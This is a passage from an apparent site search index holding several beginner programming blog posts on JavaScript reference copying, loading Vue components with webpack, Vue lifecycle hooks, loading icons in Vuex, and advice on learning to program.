library, run some code through it and see how it works and has been great for presentations using just JavaScript.\nThe next time you just want to play around with some JavaScript, forget the browser console and just open up RunJS.\n","date":"11 March 2021","externalUrl":null,"permalink":"/amazing-demo-playground-javascript-runjs/","section":"Posts","summary":"Recently, I was wanting to try out some of the functions in Lodash to see how they worked. I went to Repl.it at first because that’s been my go-to sandbox to play around in. But Repl.it, as nice as it is, is a little too big for a quick script to play around in.\n","title":"An amazing demo playground for JavaScript - RunJS","type":"posts"},{"content":"Have you ever been working on your JavaScript code and changing the value of an object you were sure that you made a safe copy of only to have the original object change too?\nAnd then you looked up why the heck that was happening, you read a blog post saying \u0026ldquo;Use Object.assign() instead\u0026rdquo;. But you do that and it still freaken happens?\nThen someone says that you have to download lodash and use the cloneDeep() method? And still no one has explained just what the hell is going on?\nYeah, I hate that.\nAnyway, here\u0026rsquo;s why it\u0026rsquo;s happening.\nWant a YouTube version of this article? Watch it here:\nThe values of variables # This is probably some fairly common code that you\u0026rsquo;ve seen before if you\u0026rsquo;ve done any kind of JavaScript coding:\nlet counter = 2; let peopleArray = [\u0026#39;John\u0026#39;]; let languages = { en: \u0026#39;English\u0026#39;, fr: \u0026#39;French\u0026#39;, zh: \u0026#39;Chinese\u0026#39; }; These are all common ways of declaring a variable and defining what its value should be. You have a counter set to the number 2, a peopleArray set to an array with one string in it, 'John', and languages set to an object with keys of en, fr, and zh with the values 'English', 'French', and 'Chinese', respectively.\nI also think that I can safely assume that you know that if you call this code:\npeopleArray.push(\u0026#39;Marty\u0026#39;); console.log(peopleArray); You will see the following output in the console:\n[ \u0026#39;John\u0026#39;, \u0026#39;Marty\u0026#39; ] And a call to:\ncounter++; console.log(counter); Will give you:\n3 All of that is what we would expect. Nice, normal, not crazy making behavior from our good friend JS.\nWhere we run into problems is with this:\nlet supportedLanguages = languages; supportedLanguages.de = \u0026#39;German\u0026#39;; console.log(languages); Which gives us this clearly wrong answer:\n{ en: \u0026#39;English\u0026#39;, fr: \u0026#39;French\u0026#39;, zh: \u0026#39;Chinese\u0026#39;, de: \u0026#39;German\u0026#39; } But I didn\u0026rsquo;t add German to the languages object! I added it to the new supportedLanguages object! Ah!\nWhy did this happen? How can we anticipate it and prevent it and, just as important, talk to other developers about it in the future?\nWell, let me tell you.\nWhat exactly is in a JavaScript variable? # When we think about JavaScript variables, what lives in those variables? How you think about this can help us understand the issue that we\u0026rsquo;re seeing.\nMost of the time, we probably don\u0026rsquo;t think about this. Or we think that what\u0026rsquo;s on the right side of the = is what lives in it. But that\u0026rsquo;s only sort of true.\nHere\u0026rsquo;s how I want you to think about JavaScript variables from now on.\nJavaScript variables only hold one thing.\nThat makes sense on the surface. Of course they only hold one thing.\nBut arrays and objects hold more than one thing, of course. Surely, I don\u0026rsquo;t mean those?\nOh, but I do! Allow me to explain.\nMany of the data types in JavaScript represent one thing. Like numbers and booleans. Another type can be treated in this same category\u0026mdash;because of the way that it\u0026rsquo;s programmed in JavaScript\u0026mdash;strings. So you can consider that when you put one of these pieces of data in a variable, that\u0026rsquo;s what the variable has in it.\nlet counter = 1; let shouldContinue = true; let name = \u0026#39;Marty\u0026#39;; Here, the variable counter contains the value of 1. If we set a new value, we are replacing that value:\ncounter = 1; If we are copying the value to another variable, it is indeed copying it and not doing something we don\u0026rsquo;t expect:\nlet extraCounter = counter; // Copies the number 1 from counter to extraCounter let oldShouldContinue = shouldContinue; // Copies true from shouldContinue to oldShouldContinue let originalName = name; // Also puts \u0026#39;Marty\u0026#39; from name to originalName If you keep this mental model1 for numbers, booleans, and strings, you\u0026rsquo;ll be just fine. It\u0026rsquo;s probably the one you\u0026rsquo;re expecting anyway.\nObject and Array variables are different # While the above works when thinking about numbers, booleans, and strings, it doesn\u0026rsquo;t work when thinking about object and array variables. That\u0026rsquo;s because objects and arrays hold more than one thing.\nAnd since they contain more than one thing, they can\u0026rsquo;t fit into a variable. So\u0026hellip;what\u0026rsquo;s in those variable?\nLeave your number at the tone # Imagine, if you will, your phone\u0026rsquo;s address book. You\u0026rsquo;ve got a lot of entries in there and if you scroll through, you\u0026rsquo;ll see all the names of the people that you know in there. If you click on one of those names, does that person spring out of your phone?\nOf course not! Phones don\u0026rsquo;t hold people! But they can hold numbers. And that number acts as a link between you and that person. If you call that number, you can then talk to the actual person.\nWell, that\u0026rsquo;s how objects and arrays work in JavaScript too! What\u0026rsquo;s stored in the variable? An address to the object or array!\nlet person = { name: \u0026#39;Anna\u0026#39;, occupation: \u0026#39;Developer\u0026#39; }; So what does person contain? You can think of it as the address to the object on the right side, which is also called the reference in programming circles.\nlet person = { name: \u0026#39;Anna\u0026#39;, occupation: \u0026#39;Developer\u0026#39; }; // person contains something like an address that points to the object, // but doesn\u0026#39;t actually contain the object. It\u0026rsquo;s like a phone number for data! When the variable is used, it is calling the object and asking the object to do something:\nconsole.log(person.name); // ^--- ring, ring, can I have your name? The . is often called the dereference operator for this very reason. It dereferences, or calls, the object.\nThis address business is something that JavaScript hides behind the scenes and you will never see it, except in a case like this:\nlet person = { name: \u0026#39;Anna\u0026#39;, occupation: \u0026#39;Developer\u0026#39; }; let aNewPerson = person; // We copied the address, not the object! In the above example, person contains an address and when aNewPerson \u0026ldquo;copies\u0026rdquo; person, it\u0026rsquo;s actually copying the address, not the object! It\u0026rsquo;s like having two people in your contacts that have the same phone number. When you call them, you\u0026rsquo;ll connect with the same person on the other end, no matter what you change the names to.\nSo this is why, if we change the object aNewPerson points to, it\u0026rsquo;ll also change the object person is pointing to!\nlet person = { name: \u0026#39;Anna\u0026#39;, occupation: \u0026#39;Developer\u0026#39; }; let aNewPerson = person; // We copied the address, not the object! aNewPerson.name = \u0026#39;Marie\u0026#39;; console.log(person); Can you guess what this prints?\n{ name: \u0026#39;Marie\u0026#39;, occupation: \u0026#39;Developer\u0026#39; } And the same is true of arrays:\nlet names = [ \u0026#39;John\u0026#39; ]; let copyOfNames = names; // That only copied the address to the array, it did not copy the array! copyOfNames.push(\u0026#39;Marty\u0026#39;); console.log(names); Will show:\n[ \u0026#39;John\u0026#39;, \u0026#39;Marty\u0026#39; ] It was the same array all along!\nSolutions to copy # Object.assign() # So, now that we know objects and arrays copy references and not values, how do we avoid the worst of the mistakes when working with them?\nThe first is to just keep in mind that = will copy the address and then any changes will happen to the object that they both point to. Usually, that\u0026rsquo;s not what you want.\nSo the first thing to look at for objects only is the Object.assign() function. This does what is called a shallow copy, meaning any direct member is copied. So if you have a simple, flat object, this should work fine:\nlet myPhone = { manufacturer: \u0026#39;Motorola\u0026#39;, speed: \u0026#39;LTE\u0026#39; }; let yourPhone = Object.assign({}, myPhone); yourPhone.manufacturer = \u0026#39;Apple\u0026#39;; console.log(myPhone); console.log(yourPhone); This will create a new object\u0026mdash;the {} above as the first argument to Object.assign()\u0026mdash;and then copies the values of the second argument\u0026mdash;myPhone in this case\u0026mdash;to that new object. We got this output:\n{ manufacturer: \u0026#39;Motorola\u0026#39;, speed: \u0026#39;LTE\u0026#39; } // myPhone { manufacturer: \u0026#39;Apple\u0026#39;, speed: \u0026#39;LTE\u0026#39; } // yourPhone If you have simple data like this, this will work great. But it doesn\u0026rsquo;t do a deep copy. A deep copy is where all the values, no matter how deep in the structure, are copied to the new object. In the case above with Object.assign(), it only copies the first level and that means that any objects at that level will have their references copied instead!\nlet goodBook = { author: { first_name: \u0026#39;Brené\u0026#39;, last_name: \u0026#39;Brown\u0026#39; }, title: \u0026#39;Daring Greatly\u0026#39; }; let scaryBook = Object.assign({}, goodBook); scaryBook.title = \u0026#39;The Shining\u0026#39;; scaryBook.author.first_name = \u0026#39;Steven\u0026#39;; scaryBook.author.last_name = \u0026#39;King\u0026#39;; console.log(goodBook); What does that print? Shock of shocks!\n{ author: { first_name: \u0026#39;Steven\u0026#39;, last_name: \u0026#39;King\u0026#39; }, title: \u0026#39;Daring Greatly\u0026#39; } Does it make sense yet why that would happen?\nIf Object.assign() is only copying the first level, that means that it copied goodBook.title and put the value in the new object. But when it copied goodBook.author it took the reference to the author object and copied it. So both books are stuck with the same author and changing it in one changes it in the other! This is why you can\u0026rsquo;t always use Object.assign().\nSo the rule of thumb is:\nIf the object you are copying does not contain an object or array, use Object.assign().\nslice() # slice() is often recommended to copy arrays. Suffice it to say, it has the same problems with Object.assign().\nlet books = [ \u0026#39;The Alchemist\u0026#39;, \u0026#39;A Tale of Two Cities\u0026#39;, { title: \u0026#39;Fight Club\u0026#39; } ]; let happyBooks = books.slice(); happyBooks[1] = \u0026#39;The Mystery of the Ghostly Face\u0026#39;; // This won\u0026#39;t change books happyBooks[2].title = \u0026#39;The Cat in the Hat\u0026#39;; // But this will because of the object console.log(books); So, again like Object.assign():\nIf the array you are copying doesn\u0026rsquo;t contain an object or array , use slice().\n_.cloneDeep() # How do you make sure you actually get a copy? Sadly, the answer lies outside of JavaScript and in other libraries that you will need to import. There is no native function in JavaScript that can do this. You could write your own function to make deep copies, but there are functions already written\u0026mdash;and tested\u0026mdash;that we can use if we import them into our project.\nOne of the most popular is cloneDeep() from the lodash library.\nIf your object or array is any kind of complex, use cloneDeep() or something similar from a library your are already using in your project.\nA mental model is a way of thinking about a programming concept, not necessarily the way that it\u0026rsquo;s actually programmed. It helps you picture in your head how things are working so that you can reason about and problem solve with them.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"6 March 2021","externalUrl":null,"permalink":"/reference-value-javascript-changing-copy-change-original/","section":"Posts","summary":"Have you ever been working on your JavaScript code and changing the value of an object you were sure that you made a safe copy of only to have the original object change too?\n","title":"Why does changing my copy change the original!","type":"posts"},{"content":"There are times when you want to use Vue components, but the application you\u0026rsquo;re working on is still in the age of jQuery. Is there a way to start using Vue without switching everything to Vue and making a single page application? Can we get all of that beautiful, juicy component action without breaking everything else that\u0026rsquo;s currently on the site? Also, can we add Vue components without having to rewrite the entire website to use Vue?\nLuckily, yes. But there are some things that we\u0026rsquo;ll have to do to get there. Those things are:\nCreate Single File Components in Vue Create a loader script that will add your component to a page when you want it Compile the components in a build step as part of your development Create Single File Components in Vue # Now, we can create regular ol\u0026rsquo; Vue SFCs, or single file components. By creating the whole component in one file, we get the flexibility of thinking of our components as one functional unit made up of HTML, JavaScript, and CSS. We can also write components in TypeScript or SASS if we want to. We can also get syntax highlighting since SFCs end up being fundamentally HTML documents. And with VSCode plugins like Vetur, development in SFCs has a lot of benefits going for it.\nMy recommendation would be to create a new folder at the root of your project called vue. This file won\u0026rsquo;t be included in your deployment. Think of this as the source code that will be compiled into actual JavaScript before being deployed.\nIn that folder, create another called components. This is where your Vue component files will go. If you want to test this out, create a file called Hello.vue in the components folder and add this content:\n\u0026lt;template\u0026gt; \u0026lt;div\u0026gt;Hello, {{ name }}.\u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { data() { return { name: \u0026#34;World\u0026#34;, }; }, }; \u0026lt;/script\u0026gt; \u0026lt;style\u0026gt;\u0026lt;/style\u0026gt; Create a loader script # The loader script should then be created that will add the component to the webpage. In this, you define that you want the component to be loaded on a certain element. Loader files can be created in a folder called vue/loaders. Name this one helloLoader.js and have it look like this:\nimport Vue from \u0026#34;vue\u0026#34;; import Hello from \u0026#34;../components/Hello.vue\u0026#34;; // The following creates a new instance of the component and puts it anywhere // a element has a data-vue-component=\u0026#34;hello\u0026#34; attribute. document .querySelectorAll(\u0026#34;[data-vue-component=hello]\u0026#34;) .forEach((element) =\u0026gt; { new Vue(Hello).$mount(element); }); Compile the components and loaders # This is the biggest step and one that may be very specific to your current project set up. I\u0026rsquo;m approaching the following with the idea that your project is just an HTML, CSS, and JavaScript project. If you already have a package.json or are using NPM for something else, your mileage may vary.\nFor the following, you will need to have the latest Node LTS installed, at least 14.16 I would say.\nWe need to add a compilation step to the project. If you already have Webpack for something else, this will be able to fit into that. If you\u0026rsquo;re not using Webpack, I show below how to do that. Otherwise, I found the information on the Vue loader site.\nFirst, install the vue, vue-loader, and vue-template-compiler libraries:\nnpm install -D vue vue-loader vue-template-compiler We\u0026rsquo;ll also install webpack, if you don\u0026rsquo;t have it in your project yet:\nnpm install -D webpack webpack-cli And then there\u0026rsquo;s, well, other stuff to include. Webpack needs a lot of other tools to build our code, so let\u0026rsquo;s install those:\nnpm install -D @babel/core babel-loader css-loader vue-style-loader And then we need to create a configuration file for webpack at webpack.config.js:\n// webpack.config.js const { dirname } = require(\u0026#34;path\u0026#34;); const VueLoaderPlugin = require(\u0026#34;vue-loader/lib/plugin\u0026#34;); module.exports = { entry: { \u0026#34;favorite-cat\u0026#34;: \u0026#34;./vue/loaders/favoriteCatLoader.js\u0026#34;, }, output: { filename: \u0026#34;bundle.js\u0026#34;, path: __dirname, }, module: { rules: [ { test: /\\.vue$/, loader: \u0026#34;vue-loader\u0026#34;, }, // this will apply to both plain `.js` files // AND `\u0026lt;script\u0026gt;` blocks in `.vue` files { test: /\\.js$/, loader: \u0026#34;babel-loader\u0026#34;, }, // this will apply to both plain `.css` files // AND `\u0026lt;style\u0026gt;` blocks in `.vue` files { test: /\\.css$/, use: [\u0026#34;vue-style-loader\u0026#34;, \u0026#34;css-loader\u0026#34;], }, ], }, plugins: [ // make sure to include the plugin for the magic new VueLoaderPlugin(), ], }; Whenever you add a new component—and a new loader—add the loader script to the entry section above.\nAnd then add a section to your package.json to compile these scripts into a bundle.js file:\n\u0026#34;scripts\u0026#34;: { \u0026#34;build\u0026#34;: \u0026#34;webpack --config webpack.config.js --mode development\u0026#34; }, Run that script with npm run build and you should see a new bundle.js file in your project. You can include that in your HTML head as \u0026lt;script src=\u0026quot;bundle.js\u0026quot; defer\u0026gt;\u0026lt;/script\u0026gt;.\nUse the component # Now you just need to add the following HTML tag to see the component in action:\n\u0026lt;div data-vue-component=\u0026#34;hello\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; Is that it? # Yes, at its basics. But a lot depends on your general set up for your project. For instance, Laravel already has a lot of this builder stuff built into Mix, so that will be set up differently. Other frameworks will help or not help with this as they see fit. If you already have Webpack in your project, you may need to modify the config rather than directly replacing it.\nBut this is the basic set up if you have a straight HTML, JS, and CSS project you\u0026rsquo;d like to add it to. This is a great way to progressively enhance your existing JavaScript, especially if you\u0026rsquo;re getting into component based JavaScript development and moving away from something like jQuery and massive JavaScript files.\nSince it\u0026rsquo;s not a one size fits all, email me at joe (at) jerickson.net if you run into any issues or have a different configuration and want to know how to get this to work.\n","date":"28 February 2021","externalUrl":null,"permalink":"/how-to-load-vue-components-non-spa-sites/","section":"Posts","summary":"There are times when you want to use Vue components, but the application you’re working on is still in the age of jQuery. Is there a way to start using Vue without switching everything to Vue and making a single page application? Can we get all of that beautiful, juicy component action without breaking everything else that’s currently on the site? Also, can we add Vue components without having to rewrite the entire website to use Vue?\n","title":"How to Load Vue Components on Non-SPA Sites","type":"posts"},{"content":"","date":"10 January 2021","externalUrl":null,"permalink":"/categories/concepts/","section":"Categories","summary":"","title":"Concepts","type":"categories"},{"content":"","date":"10 January 2021","externalUrl":null,"permalink":"/categories/learning/","section":"Categories","summary":"","title":"Learning","type":"categories"},{"content":"One of the main pieces of advice that people give in learning programming is that you should pick a language and learn it. Just pick the language that you think you\u0026rsquo;ll most want to do, get a couple of classes or tutorials on it, and learn programming!\nI think that that\u0026rsquo;s pretty bad advice. Someone who knows nothing about programming, picking up a language, and trying to learn that language is an extremely inefficient and slow way of learning how to program. It\u0026rsquo;s like telling someone to choose their favorite saw, saw some things, and they\u0026rsquo;ll eventually learn carpentry. Although they will learn a facet of it, it will be very hard for them to know how it all fits together.\nThis advice reminds me of The Karate Kid. Mr. Miagi has Daniel-san sand his deck and paint his fence and then, lo and behold, Daniel-san knows karate! It\u0026rsquo;s a nice fantasy for the movies, but it\u0026rsquo;s not very realistic.\nNow, it\u0026rsquo;s absolutely true that you need some sort of raw material to get into topics around programming and to practice it. But focusing on the language or that you have to pick the right language, is extremely counterproductive.\nIn language learning theory, a lot of ink is spilled on what is the most effective way to learn. And there are many studies that talk about how learning facts is very counterproductive for learning, when in fact, what you should be learning are ideas, or what I like to think of as concepts. This doesn\u0026rsquo;t just apply to programming, it applies to many different areas. If you want to learn chess, you sort of have to know the rules of chess, but that doesn\u0026rsquo;t teach you how to play chess. Experts also have to weigh bigger ideas around what those rules mean. They evaluate pawn structures and board control and lines of pressure. Some of this is experience for sure. You won\u0026rsquo;t get better at chess by only reading about it, but you can advance pretty quickly by also learning about the concepts once you have the basic rules down.\nUnderstanding concepts is what is most important and then after that, learning how to apply the tools to achieve those concepts. So if you want to become a programmer, you need to learn the concepts behind programming. I have built systems in about ten different languages over my career and the thing that has let me do that is that the concepts are applicable no matter what language I am working in. The rest is just the details of figuring out how to express those concepts in a new language, which is much easier to look up.\nNow, what does it mean to focus on the concepts? What are the actual practical things that you can do?\nWhen you\u0026rsquo;re presented with a new concept, what you should be doing is sitting down and trying to build some sort of mental model of how it works, to think through and build in your head a way of thinking through these specific types of problems.\nSo for example, if you\u0026rsquo;re just starting out learning programming, you might run into arrays. Sit down and think about a representation that you can reason about. What would an array look like if it was a physical thing? Would it look like pigeon holes that you see at hotels with different room numbers on them, or they may be P.O. boxes at the post office? When teaching this concept, I will show the students one of those seven day pill holders and put 0 through 6 on them to try and build some sort of mental representation of what is essentially an abstract concept that doesn\u0026rsquo;t actually exist. But having a mental model of how it works in your head will allow you to problem solve how to program with arrays.\nWhat about when you get into object orientation? If you\u0026rsquo;re looking at a number of objects that are working together, if you don\u0026rsquo;t have a way of representing this in your mind, you\u0026rsquo;re going to get very quickly lost. Everyone has had the experience of jumping between files and not having any clear idea of what\u0026rsquo;s going on. And you can\u0026rsquo;t remember what object called what method? Next time, try and sit down and think about it this way: if these objects were on this table in front of me, what would it look like? Which objects are inside other objects? Which objects are talking to each other? Are some of these objects in an array?\nLearn how to visually lay this out and draw it on a piece of paper. Draw boxes for each object in the system. Draw lines between them that are method calls. Draw little boxes inside of them that represent instance variables and those are objects that are inside objects or variables that are inside objects. Where does everything live? And where is it at?\nWhy do this? Because the files themselves will never represent how the system works. They are blueprints, not a house, and you need a model of the house to understand what\u0026rsquo;s going on.\nOnce you have something like that written out, it is much more possible to know what file to go look at for a certain part of the code. Because you\u0026rsquo;re saying that this object is calling this method on this object? You know the type of that object and can now go to that class and look up what that method is.\nWhat about the services on a server that are all working together? You have your web server, you have your database server, how are these working together? Again, draw it out on a piece of paper. In your head, imagine that they are actual computers in a room. How are they laid out? What wires are connecting from one computer to another? You can start to reason about these things, once you have some sort of representation that you can work with in your head. Just knowing the facts about them isn\u0026rsquo;t good enough, it doesn\u0026rsquo;t take you far enough, you need to have something that you can work with that makes sense to you.\nNow, I don\u0026rsquo;t know if this works for everybody. This physical representation idea. But it is vital to my understanding of programming. I am a very visual, physical type of learner. I grew up with Legos and Lincoln Logs. I am someone that can see a visual representation of things in my head, as I\u0026rsquo;m working through them. A lot of that came through experience. But the only way that started was by doing this exercise and trying to build a mental representation of programming concepts. Once I understand the concept, I can start to understand other concepts by putting these together like Legos.\nOnce I have my Lego house, I can start to put chimneys on it, I can put windows in. This is how I understand these concepts working, by having a visual representation of them in my head. If I run into something that doesn\u0026rsquo;t fit my mental representation of it, that\u0026rsquo;s good. I don\u0026rsquo;t have to throw everything out, it means that I\u0026rsquo;m modifying what\u0026rsquo;s already there and I see that now as the process of learning. If I have a concept of an array, and then I find out about queues and stacks, and somehow those don\u0026rsquo;t fit with my representation of an array, that means I need to fix my representation.\nSo the next time you run into some sort of concept that you don\u0026rsquo;t understand in programming, sit down and try and build a representation of it. If you\u0026rsquo;re just copying and pasting facts, you\u0026rsquo;re never going to get to a point where you\u0026rsquo;re programming confidently and where you\u0026rsquo;re building something new based on concepts that you\u0026rsquo;ve learned before. Understanding the concepts enough to try new things with them is what being a programmer is all about.\n","date":"10 January 2021","externalUrl":null,"permalink":"/learning-programming-is-all-about-learning-concepts/","section":"Posts","summary":"One of the main pieces of advice that people give in learning programming is that you should pick a language and learn it. Just pick the language that you think you’ll most want to do, get a couple of classes or tutorials on it, and learn programming!\n","title":"Learning Programming is All About Learning Concepts","type":"posts"},{"content":"","date":"10 January 2021","externalUrl":null,"permalink":"/categories/motivation/","section":"Categories","summary":"","title":"Motivation","type":"categories"},{"content":"Have you ever worked on a coding problem and have to constantly stop to look up syntax? You\u0026rsquo;re almost at the solution to a problem and you know exactly what you need to do, you just don\u0026rsquo;t know exactly how to do it?\nIt\u0026rsquo;s a super common and frustrating issue and is a really good sign that you\u0026rsquo;re progressing faster in your ability to think about problems than you are in your ability to memorize less used syntax or tools. This, in my mind, is the start of a transition from a junior developer to a mid-level developer. A switch to the mode of \u0026ldquo;conscious incompetence\u0026rdquo; and while that doesn\u0026rsquo;t sound like a good thing, it\u0026rsquo;s the first step towards getting really good at programming.\nBut something that everyone gets tripped up on is, \u0026ldquo;How do I get through this?\u0026rdquo; It\u0026rsquo;s not fun to be conscious of your incompetence.\nI think there are a couple of things that you can do. The first is to evaluate what you\u0026rsquo;re struggling with the most. I\u0026rsquo;ve noticed a few common areas that people get stuck on. Which of these are you constantly looking up?\nSyntax of the language you\u0026rsquo;re working in Command line syntax Editor shortcuts that you see more advanced programmers using Slow typing due to not knowing how to touch type Vocabulary and names for patterns and programming concepts Vocabulary for server applications and what other systems do Administrative tasks for your application (adding new libraries or building the project) Processes that happen behind the scenes (ie. How is the DOM built, how does the browser download files, etc) I don\u0026rsquo;t know that these are exastive, but I remember running into these myself. Some of these do with programming, but others are much more about the environment around programming. You need to be comfortable enough with your tools that you can use them at the speed of thought. Stopping and looking things up constantly will just slow you down and prevent you from doing your best. It\u0026rsquo;s frustrating, too. I didn\u0026rsquo;t know how to touch type when I started programming, which was fine at first because my brain wasn\u0026rsquo;t moving very fast. But once I was good enough to work faster, I had to learn touch typing to keep up and not get annoyed with myself over struggling over it.\nAll of these are fixable, but one thing you\u0026rsquo;ll notice is that a lot of them will require practice, either practice doing them like the typing or the shortcuts. The best way to learn those\u0026hellip;is to practice! It really is that easy.\nAs I said earlier, I didn\u0026rsquo;t know how to touch type when I started programming. So I trained myself using a typing tutor (which are all over the web now for free) and spent time each day practicing. It probably took about a month of that to end what had been a long bout of frustration. Since then, I\u0026rsquo;ve switched my keyboard layout to Colemak\u0026ndash;due to shooting pain in my wrists\u0026ndash;and picked that up the same way.\nThe other items require some sort of memorization. If you look up the same thing more than three times, memorizing it will be worth it in the future. A good way to do that is with spaced repetition. Have to look something up? Write it down on a flash card and then go through the flash cards every day. Eventually, you\u0026rsquo;ll have it down pat and won\u0026rsquo;t have to run to Google every time you want to create a new class or set up a controller. You\u0026rsquo;ll also know what the other developers mean by \u0026ldquo;Pub-Sub\u0026rdquo; when it comes up in a meeting.\nEven if you feel like you\u0026rsquo;re being held back by your abilities, you can improve at this and move into a higher understanding of programming paired with a better ability to get things done.\n","date":"18 November 2020","externalUrl":null,"permalink":"/simple-plan-junior-to-mid-level-developer/","section":"Posts","summary":"Have you ever worked on a coding problem and have to constantly stop to look up syntax? You’re almost at the solution to a problem and you know exactly what you need to do, you just don’t know exactly how to do it?\n","title":"A Common Roadblock Going from Junior to Mid-level","type":"posts"},{"content":"","date":"18 November 2020","externalUrl":null,"permalink":"/categories/career/","section":"Categories","summary":"","title":"Career","type":"categories"},{"content":"","date":"11 April 2020","externalUrl":null,"permalink":"/tags/javascript/","section":"Tags","summary":"","title":"Javascript","type":"tags"},{"content":"","date":"11 April 2020","externalUrl":null,"permalink":"/tags/lifecycle/","section":"Tags","summary":"","title":"Lifecycle","type":"tags"},{"content":"All in all, the Vue lifecycle methods are fairly straight forward. There\u0026rsquo;s even a helpful Vue lifecycle chart that describes when the various methods are called. All of that is super helpful.\nUntil you want to use them. If I want to load in data from an API, which method should I use? Why does my component crash sometimes when I try to update DOM elements in created()? Which method should I use for what?\nFirst of all, let\u0026rsquo;s remember when the methods are called as the page is loaded and our components are added.\nThe created() method will be called on your component after the component object is created but before it is put on the page. All of the component\u0026rsquo;s data, props, computed and methods will be available. The only thing that won\u0026rsquo;t be available is the template or any of the component\u0026rsquo;s DOM. There really is no view yet to speak of.\nmounted() is called after the component\u0026rsquo;s DOM created in memory and is added to the page. mounted() is basically Vue saying, \u0026ldquo;I\u0026rsquo;m finished with this one.\u0026rdquo;\nSo, which one do I use? # So, with created() there is no view yet. And because there is no view, this is the perfect time to fetch data from an API or manipulate data passed in via props. Fetching data now means that there will be less of a delay from when the component is show to when the data shows up on the screen because the call will start before the component is rendered.1 When the view is shown, the data you\u0026rsquo;ve loaded will be shown as well.\nSo what is mounted() good for? It\u0026rsquo;s good for loading anything that manipulates the component\u0026rsquo;s DOM. Maybe it\u0026rsquo;s working with a plugin like Google Maps or a slide show library, mounted() is where you will have access to the this.$el variable\u0026ndash;representing the component\u0026rsquo;s root element\u0026ndash;and can load in those other libraries.\nSo most of the time, expect to use created() unless you run into a scenario where you need to have access to the DOM first.\nThis cuts down on user perceived speed, but doesn\u0026rsquo;t actually speed up the API call. Thanks to @papa_john on dev.to for pointing out that this wasn\u0026rsquo;t clear.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"11 April 2020","externalUrl":null,"permalink":"/created-vs-mounted-in-vue/","section":"Posts","summary":"All in all, the Vue lifecycle methods are fairly straight forward. There’s even a helpful Vue lifecycle chart that describes when the various methods are called. All of that is super helpful.\n","title":"Should I use created() or mounted() in Vue?","type":"posts"},{"content":"","date":"11 April 2020","externalUrl":null,"permalink":"/tags/vue/","section":"Tags","summary":"","title":"Vue","type":"tags"},{"content":"","date":"11 April 2020","externalUrl":null,"permalink":"/tags/webdev/","section":"Tags","summary":"","title":"Webdev","type":"tags"},{"content":"UPDATE: I have a better way of handling this here. I would recommend that post if you\u0026rsquo;re looking to handle the status of your data loads from now on.\nI hate ambiguous lag. Is this site still loading or did it freeze? Am I waiting for something or is this it? Whenever a website has to load in information from an API, there is a chance that loading will appear painfully slow to the user. Human beings perceive an empty screen much differently than they perceive an animation on the screen.1 In order to make our website seem faster than it is, it\u0026rsquo;s always good to throw in a loading animation every time that we have to access a potentially slow resource like an API call.\nApplications built in Vue have this same issue, but Vue gives us a number of tools to handle this very gracefully. This article will show a way to handle loading icons that make showing and hiding the icons very simple. If you\u0026rsquo;re following the methods for loading data from APIs that I laid out in How to query your API using Vuex in your Vue application that will make this even easier.\nGetting a loading icon # First step is to get a loading icon for your site. I downloaded one from Preloaders.net - Circular (Spinners). I made this one for this exercise:\nI\u0026rsquo;ll be using an svg spinner, but you can use whatever icon you want that is supported by the browsers you\u0026rsquo;re targeting.\nAdding the icon to the component # To add the icon to the component, we can just add a v-show to the location where the data we are loading in will be located. Before the data is loaded, we will show the spinner. Once the data is loaded, we can hide the spinner and show the data table.\nIn my example below, I\u0026rsquo;m using the user table that I showed off in the article on loading data via an API into Vuex.\nYou can look at the code for this example at https://codesandbox.io/s/using-loading-icons-in-vuex-36jh6\nIn the Vuex store, we defined the initial state of the users array to be an empty array:\nstate: { users: [] }, If the users state variable is empty, then that means we haven\u0026rsquo;t loaded in the data yet. So we can set up our UI in our component like this:\n\u0026lt;div v-show=\u0026#34;users.length == 0\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;./../assets/loading icon.png\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;table class=\u0026#34;users\u0026#34; v-show=\u0026#34;users.length != 0\u0026#34;\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;th\u0026gt;Name\u0026lt;/th\u0026gt; \u0026lt;th\u0026gt;Username\u0026lt;/th\u0026gt; \u0026lt;th\u0026gt;Email\u0026lt;/th\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr v-for=\u0026#34;user in users\u0026#34; v-bind:key=\u0026#34;user.id\u0026#34;\u0026gt; \u0026lt;td\u0026gt;{{user.name}}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;{{user.username}}\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;{{user.email}}\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/table\u0026gt; So if the users data property is empty, show the loading icon. Otherwise, show the table. And once we map in the users state variable from Vuex:\ncomputed: { users() { return this.$store.state.users; } }, Then the loading icon will show up before the data can be loaded. This goes a long way in letting a user know that we\u0026rsquo;ve got this handled. They can see that we have anticipated that this data may take time to load and that they just need to wait a hot second before the table will show up.\nThis is great if the data load is being called from a created() method, but what if the user requests a reload of the data or you need to otherwise pull data from the server again?\nOne thing you can do is to blank out the users state variable by calling this.$store.commit('SAVE_USERS', []);. This will again show the loading icon and then you can call this.$store.dispatch(\u0026quot;loadUsers\u0026quot;); again to get the new data.\nThis is a very easy way to show a loading icon for users. It might not work for every situation you have, but covers a lot of the common use cases that front-ends have for letting the user know that a data load is in progress.\nFor more interesting information on human perception of time and web applications, take a look at this Smashing article: Why Performance Matters, Part 2: Perception Management — Smashing Magazine\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"14 December 2019","externalUrl":null,"permalink":"/show-loading-icon-in-vue-vuex/","section":"Posts","summary":"UPDATE: I have a better way of handling this here. I would recommend that post if you’re looking to handle the status of your data loads from now on.\nI hate ambiguous lag. Is this site still loading or did it freeze? Am I waiting for something or is this it? Whenever a website has to load in information from an API, there is a chance that loading will appear painfully slow to the user. Human beings perceive an empty screen much differently than they perceive an animation on the screen.1 In order to make our website seem faster than it is, it’s always good to throw in a loading animation every time that we have to access a potentially slow resource like an API call.\n","title":"How to show a loading icon before data is loaded in Vue and Vuex","type":"posts"},{"content":"","date":"14 December 2019","externalUrl":null,"permalink":"/tags/vuex/","section":"Tags","summary":"","title":"Vuex","type":"tags"},{"content":"I talked before about how to query your back-end API from Vuex, but that was mainly centered on getting data. What happens when you want to save data to a back-end API after it is updated or added in the Vuex 